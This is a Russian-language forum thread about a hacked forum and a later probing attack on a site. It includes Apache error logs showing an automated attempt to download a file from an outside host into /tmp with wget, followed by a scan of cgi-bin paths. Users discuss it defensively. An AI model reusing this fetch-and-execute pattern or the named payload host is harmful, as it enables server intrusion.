Взлом форума

ruslanaka · 03 марта 2011, 22:36:27

На форуме пропадают некоторые темы, от лица админа вносятся изменения в некоторые темы. Изменение пароля не помогает. На компьютере админа стоят фаервол, антивирус, вроде с безопасностью компьютера все ок. МОжет скрипт какой вредоносный? Решил переустановить форум и восстановиться из баз

Yworld_garry · 03 марта 2011, 22:48:01

Вредоносный скрипт не удаляет темы избирательно, вообще такого нет ибо нафиг такой кому нужен.
Посмотрите в базе "исчезнувшие" темы есть, настройте корзину и смотрите там в последствии. Логи админов/модераторов мониторьте...
Пересчитайте темы из админки , возможно это надо сделать сначала.

ruslanaka · 03 марта 2011, 22:51:01

Админы и модераторы под строгим контролем. Еще кодировка слетает - вот что случилось только что
http://forum-koldovstva.com/index.php?topic=131.0

ruslanaka · 03 марта 2011, 22:51:56

Я думаю с помощью скрипта получают доступ к чему-либо

Yworld_garry · 03 марта 2011, 22:54:14

У меня сбрасывает соединение. Не посмотреть.

Кухарь · 03 марта 2011, 22:55:12

Поменяйте ftp пароль и проверьте компьютер на вирусы и файлы на хостинге.

ruslanaka · 03 марта 2011, 22:59:36

Переустановлю форум, восстановлю БД из бэкапа. Почему сбрасывает сессию тоже не могу понять. У некоторых сбрасывает только. Хостинг против ддос атак может поэтому?

Yarik · 29 октября 2015, 20:37:38

Полюбуйтесь на эти логи.Адрее ведёт на страницу с весьма интересным кодом,кому интересно могу выслать в ЛС адрес.

Код Выделить

[Thu Oct 29 01:00:48 2015] [error] [client 89.238.81.138] Resolving www._________.it... 
[Thu Oct 29 01:00:48 2015] [error] [client 89.238.81.138] 95.110.226.173
[Thu Oct 29 01:00:48 2015] [error] [client 89.238.81.138] Connecting to www.___________.it|95.110.226.173|:80... 
[Thu Oct 29 01:00:48 2015] [error] [client 89.238.81.138] connected.
[Thu Oct 29 01:00:48 2015] [error] [client 89.238.81.138] HTTP request sent, awaiting response... 
[Thu Oct 29 01:00:49 2015] [error] [client 89.238.81.138] 200 OK
[Thu Oct 29 01:00:49 2015] [error] [client 89.238.81.138] Length: 7189 (7.0K) [text/plain]
[Thu Oct 29 01:00:49 2015] [error] [client 89.238.81.138] Saving to: `/tmp/.j'
[Thu Oct 29 01:00:49 2015] [error] [client 89.238.81.138] 
[Thu Oct 29 01:00:49 2015] [error] [client 89.238.81.138]      0K
[Thu Oct 29 01:00:49 2015] [error] [client 89.238.81.138]  ...
[Thu Oct 29 01:00:49 2015] [error] [client 89.238.81.138] ..
[Thu Oct 29 01:00:49 2015] [error] [client 89.238.81.138] .
[Thu Oct 29 01:00:49 2015] [error] [client 89.238.81.138] .                                               100% 91.9K=0.08s
[Thu Oct 29 01:00:49 2015] [error] [client 89.238.81.138] 
[Thu Oct 29 01:00:49 2015] [error] [client 89.238.81.138] 2015-10-29 01:00:49 (91.9 KB/s) - `/tmp/.j' saved [7189/7189]
[Thu Oct 29 01:00:49 2015] [error] [client 89.238.81.138] 
[Thu Oct 29 01:00:49 2015] [error] [client 89.238.81.138] sh: curl: command not found
[Thu Oct 29 01:00:49 2015] [error] [client 89.238.81.138] sh: fetch: command not found
[Thu Oct 29 01:00:49 2015] [error] [client 89.238.81.138] sh: GET: command not found
[Thu Oct 29 01:00:49 2015] [error] [client 89.238.81.138] sh: lwp-download: command not found
[Thu Oct 29 01:00:51 2015] [error] [client 89.238.81.138] script not found or unable to stat: /var/www/yariksat/data/www/yarik-sat.ru/cgi-bin/bash
[Thu Oct 29 01:00:51 2015] [error] [client 89.238.81.138] script not found or unable to stat: /var/www/yariksat/data/www/yarik-sat.ru/cgi-bin/contact.cgi
[Thu Oct 29 01:00:51 2015] [error] [client 89.238.81.138] script not found or unable to stat: /var/www/yariksat/data/www/yarik-sat.ru/cgi-bin/defaultwebpage.cgi
[Thu Oct 29 01:00:52 2015] [error] [client 89.238.81.138] script not found or unable to stat: /var/www/yariksat/data/www/yarik-sat.ru/cgi-bin/env.cgi
[Thu Oct 29 01:00:52 2015] [error] [client 89.238.81.138] script not found or unable to stat: /var/www/yariksat/data/www/yarik-sat.ru/cgi-bin/fire.cgi
[Thu Oct 29 01:00:52 2015] [error] [client 89.238.81.138] script not found or unable to stat: /var/www/yariksat/data/www/yarik-sat.ru/cgi-bin/forum.cgi
[Thu Oct 29 01:00:52 2015] [error] [client 89.238.81.138] script not found or unable to stat: /var/www/yariksat/data/www/yarik-sat.ru/cgi-bin/hello.cgi
[Thu Oct 29 01:00:52 2015] [error] [client 89.238.81.138] script not found or unable to stat: /var/www/yariksat/data/www/yarik-sat.ru/cgi-bin/index.cgi
[Thu Oct 29 01:00:52 2015] [error] [client 89.238.81.138] script not found or unable to stat: /var/www/yariksat/data/www/yarik-sat.ru/cgi-bin/login.cgi
[Thu Oct 29 01:00:52 2015] [error] [client 89.238.81.138] script not found or unable to stat: /var/www/yariksat/data/www/yarik-sat.ru/cgi-bin/main.cgi
[Thu Oct 29 01:00:52 2015] [error] [client 89.238.81.138] script not found or unable to stat: /var/www/yariksat/data/www/yarik-sat.ru/cgi-bin/meme.cgi
[Thu Oct 29 01:00:52 2015] [error] [client 89.238.81.138] script not found or unable to stat: /var/www/yariksat/data/www/yarik-sat.ru/cgi-bin/php
[Thu Oct 29 01:00:52 2015] [error] [client 89.238.81.138] script not found or unable to stat: /var/www/yariksat/data/www/yarik-sat.ru/cgi-bin/php4
[Thu Oct 29 01:00:52 2015] [error] [client 89.238.81.138] script not found or unable to stat: /var/www/yariksat/data/www/yarik-sat.ru/cgi-bin/php5
[Thu Oct 29 01:00:52 2015] [error] [client 89.238.81.138] script not found or unable to stat: /var/www/yariksat/data/www/yarik-sat.ru/cgi-bin/php5-cli
[Thu Oct 29 01:00:52 2015] [error] [client 89.238.81.138] script not found or unable to stat: /var/www/yariksat/data/www/yarik-sat.ru/cgi-bin/recent.cgi
[Thu Oct 29 01:00:53 2015] [error] [client 89.238.81.138] script not found or unable to stat: /var/www/yariksat/data/www/yarik-sat.ru/cgi-bin/sat-ir-web.pl
[Thu Oct 29 01:00:53 2015] [error] [client 89.238.81.138] File does not exist: /var/www/yariksat/data/www/yarik-sat.ru/cgi-bin-sdb
[Thu Oct 29 01:00:53 2015] [error] [client 89.238.81.138] script not found or unable to stat: /var/www/yariksat/data/www/yarik-sat.ru/cgi-bin/test-cgi
[Thu Oct 29 01:00:53 2015] [error] [client 89.238.81.138] script not found or unable to stat: /var/www/yariksat/data/www/yarik-sat.ru/cgi-bin/test.cgi
[Thu Oct 29 01:00:53 2015] [error] [client 89.238.81.138] script not found or unable to stat: /var/www/yariksat/data/www/yarik-sat.ru/cgi-bin/test-cgi.pl
[Thu Oct 29 01:00:53 2015] [error] [client 89.238.81.138] script not found or unable to stat: /var/www/yariksat/data/www/yarik-sat.ru/cgi-bin/test.sh
[Thu Oct 29 01:00:53 2015] [error] [client 89.238.81.138] script not found or unable to stat: /var/www/yariksat/data/www/yarik-sat.ru/cgi-bin/tools
[Thu Oct 29 01:00:53 2015] [error] [client 89.238.81.138] File does not exist: /var/www/yariksat/data/www/yarik-sat.ru/cgi-mod
[Thu Oct 29 01:00:53 2015] [error] [client 89.238.81.138] File does not exist: /var/www/yariksat/data/www/yarik-sat.ru/cgi-sys
[Thu Oct 29 01:00:53 2015] [error] [client 89.238.81.138] File does not exist: /var/www/yariksat/data/www/yarik-sat.ru/cgi-sys
[Thu Oct 29 01:00:53 2015] [error] [client 89.238.81.138] File does not exist: /var/www/yariksat/data/www/yarik-sat.ru/cgi-sys
[Thu Oct 29 01:00:53 2015] [error] [client 89.238.81.138] File does not exist: /var/www/yariksat/data/www/yarik-sat.ru/phppath
[Thu Oct 29 01:00:53 2015] [error] [client 89.238.81.138] File does not exist: /var/www/yariksat/data/www/yarik-sat.ru/phppath
[Thu Oct 29 01:05:49 2015] [warn] [client 89.238.81.138] Timeout waiting for output from CGI script /var/www/php-bin/yariksat/php
[Thu Oct 29 01:05:49 2015] [error] [client 89.238.81.138] Script timed out before returning headers: php

Ковыряют уже четвёртые сутки,что стоит предпринимать в таких случаях?

Mavn · 29 октября 2015, 20:42:24

забань ип адрес если чего то не нравится а вообще ничего такого в этих логах нет

Yarik · 29 октября 2015, 21:01:50

Цитата: Mavn от 29 октября 2015, 20:42:24забань ип адрес если чего то не нравится а вообще ничего такого в этих логах нет

Банить пробовал,айпишник меняется и всё продолжается.Все айпи ведут в Германию.
Что пытаются сделать?У меня на подобное срабатывает антивирь на сервере и засыпает логами.

Mavn · 29 октября 2015, 21:50:31

1. например я если баню то сразу подсети и средствами фаервола а не форума.... берешь ip смотришь кому принадлежит если хостеру типа godaddy и пр то в бан всю подсеть... один фиг норм пользователю через них не ходят
2.

Код Выделить

[Thu Oct 29 01:00:49 2015] [error] [client 89.238.81.138] 2015-10-29 01:00:49 (91.9 KB/s) - `/tmp/.j' saved [7189/7189]
проверяли чего туда сохраняется?
и какой запрос предшествует этой загрузке?

Yarik · 29 октября 2015, 22:00:31

Я не средствами форума баню тоже.Забанил подсеть и отвалилось несколько юзеров из Германии.Если ничего страшного нет то пускай ковыряют.Туда не сохраняется ничего,папка /tmp пустая абсалютно.Точнее там два файла с настройками соккета и всё.
Извиняюсь,не досмотрел что неполный лог выложил,вот полная сессия с этим айпишником.Она в принципе каждый раз одинаковая,меняются только айпишники.Вот как оно есть.

Код Выделить

[Thu Oct 29 01:00:48 2015] [error] [client 89.238.81.138] --2015-10-29 01:00:48--  http://www.airconfort.it/.j
[Thu Oct 29 01:00:48 2015] [error] [client 89.238.81.138] Resolving www.airconfort.it... 
[Thu Oct 29 01:00:48 2015] [error] [client 89.238.81.138] 95.110.226.173
[Thu Oct 29 01:00:48 2015] [error] [client 89.238.81.138] Connecting to www.airconfort.it|95.110.226.173|:80... 
[Thu Oct 29 01:00:48 2015] [error] [client 89.238.81.138] connected.
[Thu Oct 29 01:00:48 2015] [error] [client 89.238.81.138] HTTP request sent, awaiting response... 
[Thu Oct 29 01:00:49 2015] [error] [client 89.238.81.138] 200 OK
[Thu Oct 29 01:00:49 2015] [error] [client 89.238.81.138] Length: 7189 (7.0K) [text/plain]
[Thu Oct 29 01:00:49 2015] [error] [client 89.238.81.138] Saving to: `/tmp/.j'
[Thu Oct 29 01:00:49 2015] [error] [client 89.238.81.138] 
[Thu Oct 29 01:00:49 2015] [error] [client 89.238.81.138]      0K
[Thu Oct 29 01:00:49 2015] [error] [client 89.238.81.138]  ...
[Thu Oct 29 01:00:49 2015] [error] [client 89.238.81.138] ..
[Thu Oct 29 01:00:49 2015] [error] [client 89.238.81.138] .
[Thu Oct 29 01:00:49 2015] [error] [client 89.238.81.138] .                                               100% 91.9K=0.08s
[Thu Oct 29 01:00:49 2015] [error] [client 89.238.81.138] 
[Thu Oct 29 01:00:49 2015] [error] [client 89.238.81.138] 2015-10-29 01:00:49 (91.9 KB/s) - `/tmp/.j' saved [7189/7189]
[Thu Oct 29 01:00:49 2015] [error] [client 89.238.81.138] 
[Thu Oct 29 01:00:49 2015] [error] [client 89.238.81.138] sh: curl: command not found
[Thu Oct 29 01:00:49 2015] [error] [client 89.238.81.138] sh: fetch: command not found
[Thu Oct 29 01:00:49 2015] [error] [client 89.238.81.138] sh: GET: command not found
[Thu Oct 29 01:00:49 2015] [error] [client 89.238.81.138] sh: lwp-download: command not found
[Thu Oct 29 01:00:51 2015] [error] [client 89.238.81.138] script not found or unable to stat: /var/www/yariksat/data/www/yarik-sat.ru/cgi-bin/bash
[Thu Oct 29 01:00:51 2015] [error] [client 89.238.81.138] script not found or unable to stat: /var/www/yariksat/data/www/yarik-sat.ru/cgi-bin/contact.cgi
[Thu Oct 29 01:00:51 2015] [error] [client 89.238.81.138] script not found or unable to stat: /var/www/yariksat/data/www/yarik-sat.ru/cgi-bin/defaultwebpage.cgi
[Thu Oct 29 01:00:52 2015] [error] [client 89.238.81.138] script not found or unable to stat: /var/www/yariksat/data/www/yarik-sat.ru/cgi-bin/env.cgi
[Thu Oct 29 01:00:52 2015] [error] [client 89.238.81.138] script not found or unable to stat: /var/www/yariksat/data/www/yarik-sat.ru/cgi-bin/fire.cgi
[Thu Oct 29 01:00:52 2015] [error] [client 89.238.81.138] script not found or unable to stat: /var/www/yariksat/data/www/yarik-sat.ru/cgi-bin/forum.cgi
[Thu Oct 29 01:00:52 2015] [error] [client 89.238.81.138] script not found or unable to stat: /var/www/yariksat/data/www/yarik-sat.ru/cgi-bin/hello.cgi
[Thu Oct 29 01:00:52 2015] [error] [client 89.238.81.138] script not found or unable to stat: /var/www/yariksat/data/www/yarik-sat.ru/cgi-bin/index.cgi
[Thu Oct 29 01:00:52 2015] [error] [client 89.238.81.138] script not found or unable to stat: /var/www/yariksat/data/www/yarik-sat.ru/cgi-bin/login.cgi
[Thu Oct 29 01:00:52 2015] [error] [client 89.238.81.138] script not found or unable to stat: /var/www/yariksat/data/www/yarik-sat.ru/cgi-bin/main.cgi
[Thu Oct 29 01:00:52 2015] [error] [client 89.238.81.138] script not found or unable to stat: /var/www/yariksat/data/www/yarik-sat.ru/cgi-bin/meme.cgi
[Thu Oct 29 01:00:52 2015] [error] [client 89.238.81.138] script not found or unable to stat: /var/www/yariksat/data/www/yarik-sat.ru/cgi-bin/php
[Thu Oct 29 01:00:52 2015] [error] [client 89.238.81.138] script not found or unable to stat: /var/www/yariksat/data/www/yarik-sat.ru/cgi-bin/php4
[Thu Oct 29 01:00:52 2015] [error] [client 89.238.81.138] script not found or unable to stat: /var/www/yariksat/data/www/yarik-sat.ru/cgi-bin/php5
[Thu Oct 29 01:00:52 2015] [error] [client 89.238.81.138] script not found or unable to stat: /var/www/yariksat/data/www/yarik-sat.ru/cgi-bin/php5-cli
[Thu Oct 29 01:00:52 2015] [error] [client 89.238.81.138] script not found or unable to stat: /var/www/yariksat/data/www/yarik-sat.ru/cgi-bin/recent.cgi
[Thu Oct 29 01:00:53 2015] [error] [client 89.238.81.138] script not found or unable to stat: /var/www/yariksat/data/www/yarik-sat.ru/cgi-bin/sat-ir-web.pl
[Thu Oct 29 01:00:53 2015] [error] [client 89.238.81.138] File does not exist: /var/www/yariksat/data/www/yarik-sat.ru/cgi-bin-sdb
[Thu Oct 29 01:00:53 2015] [error] [client 89.238.81.138] script not found or unable to stat: /var/www/yariksat/data/www/yarik-sat.ru/cgi-bin/test-cgi
[Thu Oct 29 01:00:53 2015] [error] [client 89.238.81.138] script not found or unable to stat: /var/www/yariksat/data/www/yarik-sat.ru/cgi-bin/test.cgi
[Thu Oct 29 01:00:53 2015] [error] [client 89.238.81.138] script not found or unable to stat: /var/www/yariksat/data/www/yarik-sat.ru/cgi-bin/test-cgi.pl
[Thu Oct 29 01:00:53 2015] [error] [client 89.238.81.138] script not found or unable to stat: /var/www/yariksat/data/www/yarik-sat.ru/cgi-bin/test.sh
[Thu Oct 29 01:00:53 2015] [error] [client 89.238.81.138] script not found or unable to stat: /var/www/yariksat/data/www/yarik-sat.ru/cgi-bin/tools
[Thu Oct 29 01:00:53 2015] [error] [client 89.238.81.138] File does not exist: /var/www/yariksat/data/www/yarik-sat.ru/cgi-mod
[Thu Oct 29 01:00:53 2015] [error] [client 89.238.81.138] File does not exist: /var/www/yariksat/data/www/yarik-sat.ru/cgi-sys
[Thu Oct 29 01:00:53 2015] [error] [client 89.238.81.138] File does not exist: /var/www/yariksat/data/www/yarik-sat.ru/cgi-sys
[Thu Oct 29 01:00:53 2015] [error] [client 89.238.81.138] File does not exist: /var/www/yariksat/data/www/yarik-sat.ru/cgi-sys
[Thu Oct 29 01:00:53 2015] [error] [client 89.238.81.138] File does not exist: /var/www/yariksat/data/www/yarik-sat.ru/phppath
[Thu Oct 29 01:00:53 2015] [error] [client 89.238.81.138] File does not exist: /var/www/yariksat/data/www/yarik-sat.ru/phppath
[Thu Oct 29 01:05:49 2015] [warn] [client 89.238.81.138] Timeout waiting for output from CGI script /var/www/php-bin/yariksat/php
[Thu Oct 29 01:05:49 2015] [error] [client 89.238.81.138] Script timed out before returning headers: php
[Thu Oct 29 01:10:49 2015] [warn] [client 89.238.81.138] Timeout waiting for output from CGI script /var/www/php-bin/yariksat/php

Взлом форума

Yarik

Yarik

Yarik